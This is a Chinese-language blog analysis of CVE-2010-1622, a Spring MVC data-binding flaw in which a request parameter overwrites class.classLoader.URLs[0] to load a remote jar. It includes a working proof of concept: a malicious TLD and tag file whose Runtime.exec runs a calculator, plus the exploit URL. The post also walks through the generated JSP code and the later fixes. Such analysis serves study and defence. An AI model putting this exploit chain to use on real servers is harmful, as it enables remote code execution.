CVE-2010-1622很老的的一个洞了,最近在分析Spring之前的漏洞时看到的。利用思路很有意思,因为这个功能其实之前开发的时候也经常用,当然也有很多局限性。有点类似js原型链攻击的感觉,这里分享出来。
CVE-2010-1622因为Spring框架中使用了不安全的表单绑定对象功能。这个机制允许攻击者修改加载对象的类加载器的属性,可能导致拒绝服务和任意命令执行漏洞。
Versions Affected: 3.0.0 to 3.0.2 2.5.0 to 2.5.6.SEC01 (community releases) 2.5.0 to 2.5.7 (subscription customers) Earlier versions may also be affected
JavaBean是一种特殊的类,主要用于传递数据信息,这种类中的方法主要用于访问私有的字段,且方法名符合某种命名规则。如果在两个模块之间传递信息,可以将信息封装进JavaBean中。这种JavaBean的实例对象称之为值对象(Value Object),因为这些bean中通常只有一些信息字段和存储方法,没有功能性方法,JavaBean实际就是一种规范,当一个类满足这个规范,这个类就能被其它特定的类调用。一个类被当作javaBean使用时,JavaBean的属性是根据方法名推断出来的,它根本看不到java类内部的成员变量。
内省(Introspector) 是Java 语言对 JavaBean 类属性、事件的一种缺省处理方法。其中的 propertiesDescriptor
实际上来自于对Method的解析。
如我们现在声明一个JavaBean—Test
public class Test { private String id; private String name; public String getPass() { return null; } public String getId() { return id; } public void setId(String id) { this.id = id; } public String getName() { return name; } public void setName(String name) { this.name = name; } }
在类Test中有私有属性id,我们可以通过getter/setter方法来访问/设置这个属性。在Java JDK中提供了一套 API 用来访问某个属性的 getter/setter 方法,这就是内省。
因为内省操作非常麻烦,所以Apache开发了一套简单、易用的API来操作Bean的属性——BeanUtils工具包。
Java Beans API的Introspector类提供了两种方法来获取类的bean信息:
BeanInfo getBeanInfo(Class beanClass) BeanInfo getBeanInfo(Class beanClass, Class stopClass)
这里就出现了一个使用时可能出现问题的地方,即没有使用 stopClass
,这样会使得访问该类的同时访问到Object.class。因为在java中所有的对象都会默认继承Object基础类
而又因为它存在一个 getClass()
方法(只要有 getter/setter 方法中的其中一个,那么 Java 的内省机制就会认为存在一个属性),所以会找到class属性。
如下:
public class Main { public static void main(String[] args) throws Exception { BeanInfo info = Introspector.getBeanInfo(Test.class); // BeanInfo info = Introspector.getBeanInfo(Class.class); // BeanInfo info = Introspector.getBeanInfo(Test.class,Object.class); PropertyDescriptor[] properties = info.getPropertyDescriptors(); for (PropertyDescriptor pd : properties) { System.out.println("Property: " + pd.getName()); } } }
output:
Property: class Property: id Property: name Property: pass
其中后三个属性是我们预期的(虽然没有pass属性,但是有getter方法,所以内省机制就会认为存在一个属性),而class则是对应于Object.class。

如果我们接着调用
Introspector.getBeanInfo(Class.class)
可以获得更多信息
Property: annotation Property: annotations Property: anonymousClass Property: array Property: canonicalName Property: class Property: classLoader Property: classes Property: componentType Property: constructors Property: declaredAnnotations Property: declaredClasses ...
可以看到关键的 classLoader
出现了
首先SpringMVC中当传入一个http请求时会进入DispatcherServlet的doDispatch,然后前端控制器请求HandlerMapping查找Handler,接着HandlerAdapter请求适配器去执行Handler,然后返回ModelAndView,ViewResolver再去解析并返回View,前端解析器去最后渲染视图。

在这个过程中我们这里主要关注再适配器中invokeHandler调用到的参数解析所进行的数据绑定(在调用controller中的方法传入参数调用前进行的操作)。
无论是spring mvc的数据绑定(将各式参数绑定到@RequestMapping注解的请求处理方法的参数上),还是BeanFactory(处理@Autowired注解)都会使用到BeanWrapper接口。

过程如上,BeanWrapperImpl具体实现了创建,持有以及修改bean的方法。
其中的setPropertyValue方法可以将参数值注入到指定bean的相关属性中(包括list,map等),同时也可以嵌套设置属性。
如:
tb中有个spouse的属性,也为TestBean
TestBean tb = new TestBean(); BeanWrapper bw = new BeanWrapperImpl(tb); bw.setPropertyValue("spouse.name", "tom"); //等价于tb.getSpouse().setName("tom");
在springMVC传进参数进行数据绑定的时候存在一个这样的变量覆盖问题,我们来看一下demo
public class User { private String name; public String getName() { return name; } public void setName(String name) { this.name = name; } } public class UserInfo { private String id ; private String number; private User user=new User(); private String names[] = new String[]{"1"}; public String getId() { return id; } public String getNumber() { return number; } public void setId(String id) { this.id = id; } public User getUser() { return user; } public String[] getNames() { return names; } }
新建两个类User和UserInfo,其中User的name和UserInfo中id有get和set方法,而UserInfo中的user,number和names[]数组只有get方法。
@RequestMapping(value = "/test", method = RequestMethod.GET) public void test(UserInfo userInfo) { System.out.println("id:"+userInfo.getId()); System.out.println("number:"+userInfo.getNumber()); System.out.println("class:"+userInfo.getClass()); System.out.println("user.name:"+userInfo.getUser().getName()); System.out.println("names[0]:"+ userInfo.getNames()[0]); System.out.println("classLoader:"+ userInfo.getClass().getClassLoader()); }
测试controller,发送请求
http://localhost:8088/test?id=1&name=test&class.classLoader=org.apache.catalina.loader.StandardClassLoader&class=java.lang.String&number=123&user.name=ruilin&names[0]=33333
结果:

可以看到id正常,number没有接收到也正常,因为没有set方法,class和classLoader同样没有set方法,所以失败。name有set所以赋值成功。
接下来的names反而发现赋值成功了,这就比较有意思了,因为names这里我们没有设置set方法它却成功赋值。
上面我们分析流程提到了BeanWrapperImpl的setPropertyValue方法是用来绑定赋值的,所以我们在此处打上断点,一起调试一下看一下。

跳到names[0]处理时

接着看一下它是如何获得对应的类中参数

跟进getPropertyValue方法

发现是从CachedIntrospectionResults获取PropertyDescriptor。我们来看下CachedIntrospectionResults如何来的。

看到了熟悉的Introspector.getBeanInfo。这也就是我们上面讲过的内省,因此可以理解它为什么它能去获取到没有set的属性。
接着到赋值操作。

看代码可以知道当判断为Array时会直接调用Array.set,由此绕过了set方法,直接调用底层赋值。后面同样List,Map类型的字段也有类似的处理,也就是说这三种类型是不需要set方法的。对于一般的值,直接调用java反射中的writeMethod方法给予赋值。
环境:tomcat-6.0.26 spring-webmvc-3.0.0.RELEASE
构建一个jar包META-INF中放入spring-form.tld和tags/InputTag.tag

内容为:
//spring-form.tld <?xml version="1.0" encoding="UTF-8"?> <taglib xmlns="http://java.sun.com/xml/ns/j2ee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-jsptaglibrary_2_0.xsd" version="2.0"> <description>Spring Framework JSP Form Tag Library</description> <tlib-version>3.0</tlib-version> <short-name>form</short-name> <uri>http://www.springframework.org/tags/form</uri> <tag-file> <name>input</name> <path>/META-INF/tags/InputTag.tag</path> </tag-file> <tag-file> <name>form</name> <path>/META-INF/tags/InputTag.tag</path> </tag-file> </taglib> //InputTag.tag <%@ tag dynamic-attributes="dynattrs" %> <% java.lang.Runtime.getRuntime().exec("open /Applications/Calculator.app"); %>
编译出的jar包放到web上提供下载
待测试springmvc编写jsp代码
//hello.jsp <%@ taglib prefix="form" uri="http://www.springframework.org/tags/form"%> <form:form commandName="user"> <form:input path="name"/> </form:form>
controller如下:
@RequestMapping(value = "/hello") public String hello(Model model,User user) { model.addAttribute("user",user); model.addAttribute("name", user.getName()); return "hello"; }
部署并启动tomcat后打开页面
http://localhost:8088/hello?class.classLoader.URLs[0]=jar:http://127.0.0.1:8000/sp-exp.jar!/

成功触发
通过上面可以知道,我们利用了springmvc的参数自动绑定配合数组变量覆盖,造成了class.classLoader.URLs[]可以被控制,之后发生了这次RCE。
我们来具体看下之后是如何执行的。

首先setPropertyValue将对应参数填入URLs[],结果如上图已经赋给了classloader
接着在渲染jsp页面时,Spring会通过Jasper中的TldLocationsCache类(jsp平台对jsp解析时用到的类)从WebappClassLoader里面读取url参数(用来解析TLD文件在解析TLD的时候,是允许直接使用jsp语法的)在init时通过scanJars方法依次读取并加载。

这里主要是在ViewRwsolver视图解析渲染流程中,其他细节我们不用关注,在完成模版解析后,我们可以看下生成的文件,发现除了_jsp.clss还有我们从jar中下载的恶意代码InputTag_tag.class已经被编译到本地。

首先来看hello_jsp.java,因为实际上jsp就是一个servlet,所以最后生成是一个java文件。
package org.apache.jsp.WEB_002dINF.jsp; import javax.servlet.*; import javax.servlet.http.*; import javax.servlet.jsp.*; public final class hello_jsp extends org.apache.jasper.runtime.HttpJspBase implements org.apache.jasper.runtime.JspSourceDependent { private static final JspFactory _jspxFactory = JspFactory.getDefaultFactory(); private static java.util.List _jspx_dependants; static { _jspx_dependants = new java.util.ArrayList(2); _jspx_dependants.add("jar:http://127.0.0.1:8000/sp-exp.jar!/META-INF/spring-form.tld"); _jspx_dependants.add("jar:http://127.0.0.1:8000/sp-exp.jar!/META-INF/tags/InputTag.tag"); } private javax.el.ExpressionFactory _el_expressionfactory; private org.apache.AnnotationProcessor _jsp_annotationprocessor; public Object getDependants() { return _jspx_dependants; } public void _jspInit() { _el_expressionfactory = _jspxFactory.getJspApplicationContext(getServletConfig().getServletContext()).getExpressionFactory(); _jsp_annotationprocessor = (org.apache.AnnotationProcessor) getServletConfig().getServletContext().getAttribute(org.apache.AnnotationProcessor.class.getName()); } public void _jspDestroy() { } public void _jspService(HttpServletRequest request, HttpServletResponse response) throws java.io.IOException, ServletException { PageContext pageContext = null; HttpSession session = null; ServletContext application = null; ServletConfig config = null; JspWriter out = null; Object page = this; JspWriter _jspx_out = null; PageContext _jspx_page_context = null; try { response.setContentType("text/html"); pageContext = _jspxFactory.getPageContext(this, request, response, null, true, 8192, true); _jspx_page_context = pageContext; application = pageContext.getServletContext(); config = pageContext.getServletConfig(); session = pageContext.getSession(); out = pageContext.getOut(); _jspx_out = out; out.write('/n'); out.write('/n'); if (_jspx_meth_form_005fform_005f0(_jspx_page_context)) return; } catch (Throwable t) { if (!(t instanceof SkipPageException)){ out = _jspx_out; if (out != null && out.getBufferSize() != 0) try { out.clearBuffer(); } catch (java.io.IOException e) {} if (_jspx_page_context != null) _jspx_page_context.handlePageException(t); } } finally { _jspxFactory.releasePageContext(_jspx_page_context); } } private boolean _jspx_meth_form_005fform_005f0(PageContext _jspx_page_context) throws Throwable { PageContext pageContext = _jspx_page_context; JspWriter out = _jspx_page_context.getOut(); // form:form org.apache.jsp.tag.meta.http_003a.www_springframework_org.tags.form.InputTag_tag _jspx_th_form_005fform_005f0 = new org.apache.jsp.tag.meta.http_003a.www_springframework_org.tags.form.InputTag_tag(); org.apache.jasper.runtime.AnnotationHelper.postConstruct(_jsp_annotationprocessor, _jspx_th_form_005fform_005f0); _jspx_th_form_005fform_005f0.setJspContext(_jspx_page_context); // /WEB-INF/jsp/hello.jsp(3,0) null _jspx_th_form_005fform_005f0.setDynamicAttribute(null, "commandName", new String("user")); _jspx_th_form_005fform_005f0.setJspBody(new Helper( 0, _jspx_page_context, _jspx_th_form_005fform_005f0, null)); _jspx_th_form_005fform_005f0.doTag(); org.apache.jasper.runtime.AnnotationHelper.preDestroy(_jsp_annotationprocessor, _jspx_th_form_005fform_005f0); return false; } private boolean _jspx_meth_form_005finput_005f0(javax.servlet.jsp.tagext.JspTag _jspx_parent, PageContext _jspx_page_context) throws Throwable { PageContext pageContext = _jspx_page_context; JspWriter out = _jspx_page_context.getOut(); // form:input org.apache.jsp.tag.meta.http_003a.www_springframework_org.tags.form.InputTag_tag _jspx_th_form_005finput_005f0 = new org.apache.jsp.tag.meta.http_003a.www_springframework_org.tags.form.InputTag_tag(); org.apache.jasper.runtime.AnnotationHelper.postConstruct(_jsp_annotationprocessor, _jspx_th_form_005finput_005f0); _jspx_th_form_005finput_005f0.setJspContext(_jspx_page_context); _jspx_th_form_005finput_005f0.setParent(_jspx_parent); // /WEB-INF/jsp/hello.jsp(4,1) null _jspx_th_form_005finput_005f0.setDynamicAttribute(null, "path", new String("name")); _jspx_th_form_005finput_005f0.doTag(); org.apache.jasper.runtime.AnnotationHelper.preDestroy(_jsp_annotationprocessor, _jspx_th_form_005finput_005f0); return false; } private class Helper extends org.apache.jasper.runtime.JspFragmentHelper { private javax.servlet.jsp.tagext.JspTag _jspx_parent; private int[] _jspx_push_body_count; public Helper( int discriminator, JspContext jspContext, javax.servlet.jsp.tagext.JspTag _jspx_parent, int[] _jspx_push_body_count ) { super( discriminator, jspContext, _jspx_parent ); this._jspx_parent = _jspx_parent; this._jspx_push_body_count = _jspx_push_body_count; } public boolean invoke0( JspWriter out ) throws Throwable { out.write('/n'); out.write(' '); if (_jspx_meth_form_005finput_005f0(_jspx_parent, _jspx_page_context)) return true; out.write('/n'); return false; } public void invoke( java.io.Writer writer ) throws JspException { JspWriter out = null; if( writer != null ) { out = this.jspContext.pushBody(writer); } else { out = this.jspContext.getOut(); } try { this.jspContext.getELContext().putContext(JspContext.class,this.jspContext); switch( this.discriminator ) { case 0: invoke0( out ); break; } } catch( Throwable e ) { if (e instanceof SkipPageException) throw (SkipPageException) e; throw new JspException( e ); } finally { if( writer != null ) { this.jspContext.popBody(); } } } } }
首先static块里面可以看到引入的外部jar包,然后代码中对应 <spring:form>
和 <spring:input>
标签的是_jspx_meth_form_005fform_005f0,_jspx_meth_form_005finput_005f0两个方法。
具体看
private boolean _jspx_meth_form_005finput_005f0(javax.servlet.jsp.tagext.JspTag _jspx_parent, PageContext _jspx_page_context) throws Throwable { PageContext pageContext = _jspx_page_context; JspWriter out = _jspx_page_context.getOut(); // form:input org.apache.jsp.tag.meta.http_003a.www_springframework_org.tags.form.InputTag_tag _jspx_th_form_005finput_005f0 = new org.apache.jsp.tag.meta.http_003a.www_springframework_org.tags.form.InputTag_tag(); org.apache.jasper.runtime.AnnotationHelper.postConstruct(_jsp_annotationprocessor, _jspx_th_form_005finput_005f0); _jspx_th_form_005finput_005f0.setJspContext(_jspx_page_context); _jspx_th_form_005finput_005f0.setParent(_jspx_parent); // /WEB-INF/jsp/hello.jsp(4,1) null _jspx_th_form_005finput_005f0.setDynamicAttribute(null, "path", new String("name")); _jspx_th_form_005finput_005f0.doTag(); org.apache.jasper.runtime.AnnotationHelper.preDestroy(_jsp_annotationprocessor, _jspx_th_form_005finput_005f0); return false; }
new了一个InputTag_tag类并执行doTag()方法,对应我们之前的InputTag.tag,看它生产的java文件中doTag()方法。
public void doTag() throws JspException, java.io.IOException { PageContext _jspx_page_context = (PageContext)jspContext; HttpServletRequest request = (HttpServletRequest) _jspx_page_context.getRequest(); HttpServletResponse response = (HttpServletResponse) _jspx_page_context.getResponse(); HttpSession session = _jspx_page_context.getSession(); ServletContext application = _jspx_page_context.getServletContext(); ServletConfig config = _jspx_page_context.getServletConfig(); JspWriter out = jspContext.getOut(); _jspInit(config); jspContext.getELContext().putContext(JspContext.class,jspContext); _jspx_page_context.setAttribute("dynattrs", _jspx_dynamic_attrs); try { out.write('/n'); java.lang.Runtime.getRuntime().exec("open /Applications/Calculator.app"); } catch( Throwable t ) { if( t instanceof SkipPageException ) throw (SkipPageException) t; if( t instanceof java.io.IOException ) throw (java.io.IOException) t; if( t instanceof IllegalStateException ) throw (IllegalStateException) t; if( t instanceof JspException ) throw (JspException) t; throw new JspException(t); } finally { jspContext.getELContext().putContext(JspContext.class,super.getJspContext()); ((org.apache.jasper.runtime.JspContextWrapper) jspContext).syncEndTagFile(); } }
发现是这里最后执行了之前tag中写的代码导致RCE。
简单总结下主要流程:
exp->参数自动绑定->数组覆盖classLoader.URLs[0]->WebappClassLoader.getURLs()->TldLocationsCache.scanJars()->模板解析->_jspx_th_form_005finput_005f0.doTag()->shellcode
首先需要该应用使用了对象绑定表单功能,其次由代码可知
//TldLocationsCache.class private void init() throws JasperException { if(!this.initialized) { try { this.processWebDotXml(); this.scanJars(); this.processTldsInFileSystem("/WEB-INF/"); this.initialized = true; } catch (Exception var2) { throw new JasperException(Localizer.getMessage("jsp.error.internal.tldinit", var2.getMessage())); } } }
需要是该应用启动后第一次的jsp页面请求即第一次渲染进行TldLocationsCache.init才可以,否则无法将修改的URLs内容装载,也就无法加载我们恶意的tld。
Tomcat:
虽然是spring的漏洞,但tomcat也做了修复
Return copies of the URL array rather than the original. This facilitated CVE-2010-1622 although the root cause was in the Spring Framework. Returning a copy in this case seems like a good idea.

tomcat6.0.28版本后把getURLs方法返回的值改成了clone的,使的我们获得的拷贝版本无法修改classloader中的URLs[]
Spring:
spring则是在CachedIntrospectionResults中获取beanInfo后对其进行了判断,将classloader添加进了黑名单。

https://www.inbreak.net/archives/377
http://drops.xmd5.com/static/drops/papers-1395.html
https://www.exploit-db.com/exploits/13918
https://dingody.iteye.com/blog/2190987
https://wooyun.js.org/drops/Spring框架问题分析.html
http://blog.o0o.nu/2010/06/cve-2010-1622.html
https://my.oschina.net/u/1170022/blog/138466
https://blog.csdn.net/xiao1_1bing/article/details/81078649
https://www.iteye.com/topic/1123382
http://svn.apache.org/viewvc/tomcat/trunk/java/org/apache/catalina/loader/WebappClassLoader.java?r1=964215&r2=966292&pathrev=966292&diff_format=h